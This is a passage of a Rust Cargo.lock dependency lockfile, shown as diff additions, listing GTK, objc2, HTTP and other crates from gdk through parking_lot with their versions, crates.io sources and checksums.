"f5ba081bdef3b75ebcdbfc953699ed2d7417d6bd853347a42a37d76406a33646" +dependencies = [ + "cairo-rs", + "gdk-pixbuf", + "gdk-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50e1f5f1b0bfb830d6ccc8066d18db35c487b1b2b1e8589b5dfe9f07e8defaec" +dependencies = [ + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", + "once_cell", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gdk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31ff856cb3386dae1703a920f803abafcc580e9b5f711ca62ed1620c25b51ff2" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gdkwayland-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a90fbf5c033c65d93792192a49a8efb5bb1e640c419682a58bb96f5ae77f3d4a" +dependencies = [ + "gdk-sys", + "glib-sys", + "gobject-sys", + "libc", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gdkx11" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2ea8a4909d530f79921290389cbd7c34cb9d623bfe970eaae65ca5f9cd9cce" +dependencies = [ + "gdk", + "gdkx11-sys", + "gio", + "glib", + "libc", + "x11", +] + +[[package]] +name = "gdkx11-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fee8f00f4ee46cad2939b8990f5c70c94ff882c3028f3cc5abf950fa4ab53043" +dependencies = [ + "gdk-sys", + "glib-sys", + "libc", + "system-deps", + "x11", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "gimli" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" + +[[package]] +name = "gio" +version = "0.18.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "gio-sys", + "glib", + "libc", + "once_cell", + "pin-project-lite", + "smallvec", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", + "winapi", +] + +[[package]] +name = "glib" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "233daaf6e83ae6a12a52055f568f9d7cf4671dabb78ff9560ab6da230ce00ee5" +dependencies = [ + "bitflags 2.6.0", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "futures-util", + "gio-sys", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "memchr", + "once_cell", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc" +dependencies = [ + "heck 0.4.1", + "proc-macro-crate 2.0.2", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "glib-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" +dependencies = [ + "libc", + "system-deps", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "gobject-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gtk" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93c4f5e0e20b60e10631a5f06da7fe3dda744b05ad0ea71fee2f47adf865890c" +dependencies = [ + "atk", + "cairo-rs", + "field-offset", + "futures-channel", + "gdk", + "gdk-pixbuf", + "gio", + "glib", + "gtk-sys", + "gtk3-macros", + "libc", + "pango", + "pkg-config", +] + +[[package]] +name = "gtk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "771437bf1de2c1c0b496c11505bdf748e26066bbe942dfc8f614c9460f6d7722" +dependencies = [ + "atk-sys", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "gtk3-macros" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6063efb63db582968fb7df72e1ae68aa6360dcfb0a75143f34fc7d616bad75e" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e087f84d4f86bf4b218b927129862374b72199ae7d8657835f1e89000eea4fb" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "html5ever" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" +dependencies = [ + "log", + "mac", + "markup5ever", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "http" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.11", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793429d76616a256bcb62c2a2ec2bed781c8307e797e2598c50010f2bee2544f" +dependencies = [ + "bytes", + "futures-util", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d71d3574edd2771538b901e6549113b4006ece66150fb69c0fb6d9a2adae946" + +[[package]] +name = "hyper" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbbff0a806a4728c99295b254c8838933b5b082d75e3cb70c8dab21fdfbcfa9a" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "httparse", + "itoa 1.0.11", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41296eb09f183ac68eec06e03cdbea2e759633d4067b2f6552fc2e009bcad08b" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "hyper", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.61" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "235e081f3925a06703c2d0117ea8b91f042756fd6e7a6e5d901e8ca1a996b220" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core 0.52.0", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ico" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae" +dependencies = [ + "byteorder", + "png", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "707907fe3c25f5424cce2cb7e1cbcafee6bdbe735ca90ef77c29e84591e5b9da" +dependencies = [ + "equivalent", + "hashbrown 0.15.0", + "serde", +] + +[[package]] +name = "infer" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc150e5ce2330295b8616ce0e3f53250e53af31759a9dbedad1621ba29151847" +dependencies = [ + "cfb", +] + +[[package]] +name = "instant" +version = "0.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "ipnet" +version = "2.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddc24109865250148c2e0f3d25d4f0f479571723792d3802153c60922a4fb708" + +[[package]] +name = "is-docker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" +dependencies = [ + "once_cell", +] + +[[package]] +name = "is-wsl" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" +dependencies = [ + "is-docker", + "once_cell", +] + +[[package]] +name = "itoa" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" + +[[package]] +name = "itoa" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b" + +[[package]] +name = "javascriptcore-rs" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca5671e9ffce8ffba57afc24070e906da7fc4b1ba66f2cabebf61bf2ea257fcc" +dependencies = [ + "bitflags 1.3.2", + "glib", + "javascriptcore-rs-sys", +] + +[[package]] +name = "javascriptcore-rs-sys" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af1be78d14ffa4b75b66df31840478fef72b51f8c2465d4ca7c194da9f7a5124" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "jni" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" +dependencies = [ + "cesu8", + "cfg-if", + "combine", + "jni-sys", + "log", + "thiserror", + "walkdir", + "windows-sys 0.45.0", +] + +[[package]] +name = "jni-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" + +[[package]] +name = "js-sys" +version = "0.3.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a88f1bda2bd75b0452a14784937d796722fdebfe50df998aeb3f0b7603019a9" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "json-patch" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b1fb8864823fad91877e6caea0baca82e49e8db50f8e5c9f9a453e27d3330fc" +dependencies = [ + "jsonptr", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "jsonptr" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c6e529149475ca0b2820835d3dce8fcc41c6b943ca608d32f35b449255e4627" +dependencies = [ + "fluent-uri", + "serde", + "serde_json", +] + +[[package]] +name = "keyboard-types" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b750dcadc39a09dbadd74e118f6dd6598df77fa01df0cfcdc52c28dece74528a" +dependencies = [ + "bitflags 2.6.0", + "serde", + "unicode-segmentation", +] + +[[package]] +name = "kuchikiki" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" +dependencies = [ + "cssparser", + "html5ever", + "indexmap 1.9.3", + "matches", + "selectors", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libappindicator" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03589b9607c868cc7ae54c0b2a22c8dc03dd41692d48f2d7df73615c6a95dc0a" +dependencies = [ + "glib", + "gtk", + "gtk-sys", + "libappindicator-sys", + "log", +] + +[[package]] +name = "libappindicator-sys" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e9ec52138abedcc58dc17a7c6c0c00a2bdb4f3427c7f63fa97fd0d859155caf" +dependencies = [ + "gtk-sys", + "libloading", + "once_cell", +] + +[[package]] +name = "libc" +version = "0.2.160" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0b21006cd1874ae9e650973c565615676dc4a274c965bb0a73796dac838ce4f" + +[[package]] +name = "libloading" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +dependencies = [ + "cfg-if", + "winapi", +] + +[[package]] +name = "libredox" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d" +dependencies = [ + "bitflags 2.6.0", + "libc", +] + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "markup5ever" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" +dependencies = [ + "log", + "phf 0.10.1", + "phf_codegen 0.10.0", + "string_cache", + "string_cache_codegen", + "tendril", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "miniz_oxide" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2d80299ef12ff69b16a84bb182e3b9df68b5a91574d3d4fa6e41b65deec4df1" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80e04d1dcff3aae0704555fe5fee3bcfaf3d1fdf8a7e521d5b9d2b42acb52cec" +dependencies = [ + "hermit-abi", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", + "windows-sys 0.52.0", +] + +[[package]] +name = "muda" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8123dfd4996055ac9b15a60ad263b44b01e539007523ad7a4a533a3d93b0591" +dependencies = [ + "crossbeam-channel", + "dpi", + "gtk", + "keyboard-types", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "once_cell", + "png", + "serde", + "thiserror", + "windows-sys 0.59.0", +] + +[[package]] +name = "ndk" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4" +dependencies = [ + "bitflags 2.6.0", + "jni-sys", + "log", + "ndk-sys", + "num_enum", + "raw-window-handle", + "thiserror", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.6.0+11769913" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873" +dependencies = [ + "jni-sys", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_enum" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e613fc340b2220f734a8595782c551f1250e969d87d3be1ae0579e8d4065179" +dependencies = [ + "num_enum_derive", +] + +[[package]] +name = "num_enum_derive" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af1844ef2428cc3e1cb900be36181049ef3d3193c63e43026cfe202983b27a56" +dependencies = [ + "proc-macro-crate 2.0.2", + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", +] + +[[package]] +name = "objc-sys" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb91bdd390c7ce1a8607f35f3ca7151b65afc0ff5ff3b34fa350f7d7c7e4310" +dependencies = [ + "cc", +] + +[[package]] +name = "objc2" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46a785d4eeff09c14c487497c162e92766fbb3e4059a71840cecc03d9a50b804" +dependencies = [ + "objc-sys", + "objc2-encode", +] + +[[package]] +name = "objc2-app-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4e89ad9e3d7d297152b17d39ed92cd50ca8063a89a9fa569046d41568891eff" +dependencies = [ + "bitflags 2.6.0", + "block2", + "libc", + "objc2", + "objc2-core-data", + "objc2-core-image", + "objc2-foundation", + "objc2-quartz-core", +] + +[[package]] +name = "objc2-cloud-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74dd3b56391c7a0596a295029734d3c1c5e7e510a4cb30245f8221ccea96b009" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-core-location", + "objc2-foundation", +] + +[[package]] +name = "objc2-contacts" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5ff520e9c33812fd374d8deecef01d4a840e7b41862d849513de77e44aa4889" +dependencies = [ + "block2", + "objc2", + "objc2-foundation", +] + +[[package]] +name = "objc2-core-data" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "617fbf49e071c178c0b24c080767db52958f716d9eabdf0890523aeae54773ef" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-foundation", +] + +[[package]] +name = "objc2-core-image" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55260963a527c99f1819c4f8e3b47fe04f9650694ef348ffd2227e8196d34c80" +dependencies = [ + "block2", + "objc2", + "objc2-foundation", + "objc2-metal", +] + +[[package]] +name = "objc2-core-location" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "000cfee34e683244f284252ee206a27953279d370e309649dc3ee317b37e5781" +dependencies = [ + "block2", + "objc2", + "objc2-contacts", + "objc2-foundation", +] + +[[package]] +name = "objc2-encode" +version = "4.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7891e71393cd1f227313c9379a26a584ff3d7e6e7159e988851f0934c993f0f8" + +[[package]] +name = "objc2-foundation" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ee638a5da3799329310ad4cfa62fbf045d5f56e3ef5ba4149e7452dcf89d5a8" +dependencies = [ + "bitflags 2.6.0", + "block2", + "libc", + "objc2", +] + +[[package]] +name = "objc2-link-presentation" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a1ae721c5e35be65f01a03b6d2ac13a54cb4fa70d8a5da293d7b0020261398" +dependencies = [ + "block2", + "objc2", + "objc2-app-kit", + "objc2-foundation", +] + +[[package]] +name = "objc2-metal" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd0cba1276f6023976a406a14ffa85e1fdd19df6b0f737b063b95f6c8c7aadd6" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-foundation", +] + +[[package]] +name = "objc2-quartz-core" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e42bee7bff906b14b167da2bac5efe6b6a07e6f7c0a21a7308d40c960242dc7a" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-foundation", + "objc2-metal", +] + +[[package]] +name = "objc2-symbols" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a684efe3dec1b305badae1a28f6555f6ddd3bb2c2267896782858d5a78404dc" +dependencies = [ + "objc2", + "objc2-foundation", +] + +[[package]] +name = "objc2-ui-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8bb46798b20cd6b91cbd113524c490f1686f4c4e8f49502431415f3512e2b6f" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-cloud-kit", + "objc2-core-data", + "objc2-core-image", + "objc2-core-location", + "objc2-foundation", + "objc2-link-presentation", + "objc2-quartz-core", + "objc2-symbols", + "objc2-uniform-type-identifiers", + "objc2-user-notifications", +] + +[[package]] +name = "objc2-uniform-type-identifiers" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44fa5f9748dbfe1ca6c0b79ad20725a11eca7c2218bceb4b005cb1be26273bfe" +dependencies = [ + "block2", + "objc2", + "objc2-foundation", +] + +[[package]] +name = "objc2-user-notifications" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76cfcbf642358e8689af64cee815d139339f3ed8ad05103ed5eaf73db8d84cb3" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-core-location", + "objc2-foundation", +] + +[[package]] +name = "objc2-web-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68bc69301064cebefc6c4c90ce9cba69225239e4b8ff99d445a2b5563797da65" +dependencies = [ + "bitflags 2.6.0", + "block2", + "objc2", + "objc2-app-kit", + "objc2-foundation", +] + +[[package]] +name = "object" +version = "0.36.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aedf0a2d09c573ed1d8d85b30c119153926a2b36dce0ab28322c09a117a4683e" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "open" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61a877bf6abd716642a53ef1b89fb498923a4afca5c754f9050b4d081c05c4b3" +dependencies = [ + "is-wsl", + "libc", + "pathdiff", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "os_pipe" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ffd2b0a5634335b135d5728d84c5e0fd726954b87111f7506a61c502280d982" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "pango" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4" +dependencies = [ + "gio", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "parking_lot" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = 